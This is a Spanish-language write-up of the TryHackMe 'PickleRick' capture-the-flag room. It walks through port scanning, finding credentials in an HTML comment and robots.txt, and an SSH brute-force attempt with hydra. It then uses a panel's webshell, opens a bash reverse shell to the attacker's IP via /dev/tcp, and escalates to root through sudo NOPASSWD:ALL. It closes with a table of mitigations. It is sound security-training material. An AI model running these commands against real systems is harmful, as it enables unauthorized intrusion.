PickleRick - TryHackMe
xhetic
@xhetic
📚 Esta publicación pertenece a la colección:
PickleRick - TryHackMe Walkthrough
Bienvenido a mi writeup de PickleRick de TryHackMe. Una máquina de dificultad fácil que utiliza la temática del show Rick y Morty como contexto narrativo. El objetivo es encontrar tres ingredientes secretos (flags) que Rick ha escondido por todo el sistema. La cadena de ataque es directa: exfiltración de credenciales de la página web, acceso a un panel administrativo con webshell integrada y escalada de privilegios mediante sudoers mal configurado.
Room: PickleRick
Dificultad: Easy
OS: Linux
Objetivo: Capturar los tres ingredientes secretos
🎯 Información del Objetivo
IP Target: 10.114.178.196
🔍 Fase 1: Reconocimiento (RECON)
Comprobación de Conectividad
Comienzo verificando si la máquina está activa:
ping -c1 10.114.178.19664 bytes from 10.114.178.196: icmp_seq=1 ttl=62 time=42.2 ms
💡 Referencia rápida de TTL:
- TTL ≈ 64 → Linux/Unix
- TTL ≈ 128 → Windows
La máquina responde al ping con TTL=62, lo que indica que estamos ante un sistema Linux.
Escaneo de Puertos
Realizo un escaneo amplio de puertos abiertos:
nmap --open -sS --min-rate 5000 -n -Pn 10.114.178.196--open→ Muestra solo puertos abiertos-sS→ SYN scan (stealth)--min-rate 5000→ Mínimo 5000 paquetes por segundo-Pn→ Sin ping previo-n→ Sin resolución DNS
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Encuentro dos puertos abiertos. Realizo un escaneo más específico para identificar versiones:
nmap -p22,80 -sVC 10.114.178.196-sC→ Scripts NSE por defecto-sV→ Detección de versiones
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 27:84:fd:72:c5:ca:78:ec:75:84:a0:67:b1:5e:e5:1d (RSA) | 256 7a:a7:58:d3:8c:35:60:b4:81:b5:9d:bf:94:ad:00:d8 (ECDSA) |_ 256 b4:c6:79:b6:d4:be:1d:3d:f8:ec:52:9a:33:55:4f:e2 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Rick is sup4r cool |_http-server-header: Apache/2.4.41 (Ubuntu)
El mapa de servicios:
- Puerto 22 → SSH (OpenSSH 8.2p1)
- Puerto 80 → HTTP (Apache 2.4.41) — Título interesante: "Rick is sup4r cool"
📁 Fase 2: Enumeración
Exploración del Puerto 80
Accedo a la página principal del puerto 80. Veo una página dedicada a Rick (del show Rick y Morty) que le pide ayuda a Morty porque se ha convertido en un pepinillo. Rick le pide que se meta en su ordenador y encuentre todos los ingredientes secretos.

Inspección del Código Fuente
Reviso el código fuente de la página buscando información sensible. Encuentro un comentario HTML que me da una pista:

<!-- Note to self, remember username! Username: R1ckRul3s -->Genial, tengo el usuario: R1ckRul3s. Este puede ser el usuario para acceder a SSH o a algún panel administrativo.
Enumeración de Archivos Especiales
Compruebo robots.txt para ver si hay pistas navegando a http://10.114.178.196/robots.txt
El archivo existe, pero solo encuentro la frase "Wubbalubbadubdub". Compruebo si es una ruta pero no lo es.
Aunque no es una ruta, puede que sea una contraseña o una pista importante.
Obtención de Información Web
Utilizo whatweb para obtener más datos sobre la tecnología del servidor:
whatweb http://10.114.178.196http://10.114.178.196 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.114.178.196], JQuery, Script, Title[Rick is sup4r cool]
El sitio usa Bootstrap y jQuery, pero sin información explotable evidente.
Búsqueda de Directorios
Realizo una enumeración de directorios usando dirb con la wordlist estándar pequeña:
dirb http://10.114.178.196 /usr/share/wordlists/dirbuster/directory-list-2.3-small.txtNo descubro nada interesante, solo me lista directorios poco relevantes como /assets/ que solo contienen recursos de la página como estilos e imágenes.
Intento técnicas básicas de esteganografía con exiftool y strings en las imágenes, pero no encuentro información oculta relevante.
Intento de Acceso SSH
Tengo un usuario (R1ckRul3s) potencial y una contraseña (Wubbalubbadubdub) pero no es válido.
Intento fuerza bruta en SSH por si acaso con hydra:
hydra -l R1ckRul3s -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://10.114.178.196[22][ssh] host: 10.114.178.196 Authentication failed.
SSH no permite acceso con contraseña. Parece que solo acepta autenticación por clave pública.
Intento de Enumeración de Subdominios
Intento enumerar subdominios agregando la IP al archivo /etc/hosts y usando ffuf:
ffuf -u http://10.114.178.196 -H "Host: FUZZ.picklerick.thm" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fs 1062[Status: 200, Size: 1062, Words: 111]
No encuentro subdominios válidos.
Búsqueda de Archivos
Vuelvo a intentar enumeración pero esta vez con una wordlist orientada a archivos específicos:
dirb http://10.114.178.196 /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt¡Éxito! Descubro dos archivos interesantes:
- login.php — Panel de login
- portal.php — Redirecciona a login.php
🚀 Fase 3: Explotación
Acceso al Panel Administrativo
Tengo dos datos potenciales:
- Usuario:
R1ckRul3s(encontrado en HTML comment) - Contraseña potencial:
Wubbalubbadubdub(encontrado en robots.txt)
Accedo a http://10.114.178.196/login.php e intento login con R1ckRul3s:Wubbalubbadubdub:

¡Funciona! Estoy dentro del panel administrativo.
Webshell
Una vez logueado, veo un formulario que me permite ejecutar comandos, parece ser una webshell integrada en el panel de administración.

Realizo una prueba simple:
whoamiwww-data
Confirmo que tengo RCE porque estoy ejecutando comandos como el usuario www-data.
Tener Ejecución Remota de Comandos me permite obtener una reverse shell para tener mejor control del sistema.
Reverse Shell
Primero me pongo en escucha en mi máquina atacante:
nc -nlvp 4444Luego ejecuto una reverse shell desde la webshell de administración:
/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.139.157/4444 0>&1'Obtengo la conexión. Realizo tratamiento de TTY para estabilizar la shell:
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm🏴 Primer Ingrediente
Una vez en la máquina, empiezo a explorar. En el directorio /var/www/html encuentro el archivo Sup3rS3cretPickl3Ingred.txt:
Primer ingrediente encontrado.
También encuentro un archivo clue.txt que dice: "Look around the file system for the other ingredient."
🏴 Segundo Ingrediente
Exploro el sistema buscando otros archivos con referencias a "ingredient". En el directorio /home/rick/ encuentro un archivo de nombre especial: 'second ingredients' (con comillas en el nombre literal). Dentro, contiene el segundo ingrediente:
Segundo ingrediente encontrado.
Continuo buscando el tercer ingrediente pero no lo encuentro.
Voy a intentar escalar privilegios para poder buscar por el sistema sin restricciones.
⬆️ Escalada de Privilegios
Compruebo qué permisos tiene el usuario www-data:
sudo -lUser www-data may run the following commands on ip-10-114-178-196: (ALL) NOPASSWD: ALL
El usuario www-data puede ejecutar cualquier comando como root sin contraseña. Esto es una escalada de privilegios directa:
sudo /bin/bashAhora tengo una shell como root.

🏴 Tercer Ingrediente
Accedo al directorio /root/ y encuentro el archivo 3rd.txt:
Tercer ingrediente encontrado.
📊 Resumen
Cadena de Ataque
nmap puertos 22,80 → Puerto 80 página Rick → Comentario HTML con usuario R1ckRul3s → robots.txt con contraseña Wubbalubbadubdub → login.php → Acceso panel administrativo → Webshell como www-data → Reverse shell → sudo -l (NOPASSWD:ALL) → root → 3 ingredientes capturados
Herramientas Utilizadas
- nmap — Reconocimiento de puertos y versiones
- curl — Lectura de robots.txt
- dirb — Enumeración de directorios y archivos
- netcat — Reverse shell listener
🛡️ Vulnerabilidades y Mitigaciones
| Vulnerabilidad | Severidad | Mitigación |
|---|---|---|
| Credenciales en comentario HTML | ALTA | Nunca incluir información sensible en comentarios del código fuente |
| Credenciales en robots.txt | ALTA | No usar robots.txt como almacenamiento de secretos; proteger credenciales |
| Webshell sin restricciones de comandos | CRÍTICA | Implementar whitelist de comandos permitidos; validar input |
| Usuario www-data con sudoers NOPASSWD:ALL | CRÍTICA | Segmentar permisos sudo; no permitir ALL sin contraseña |
📚 Referencias
🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.
Happy Hacking! 🎩🔐
Sigueme en TryHackMe :
Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.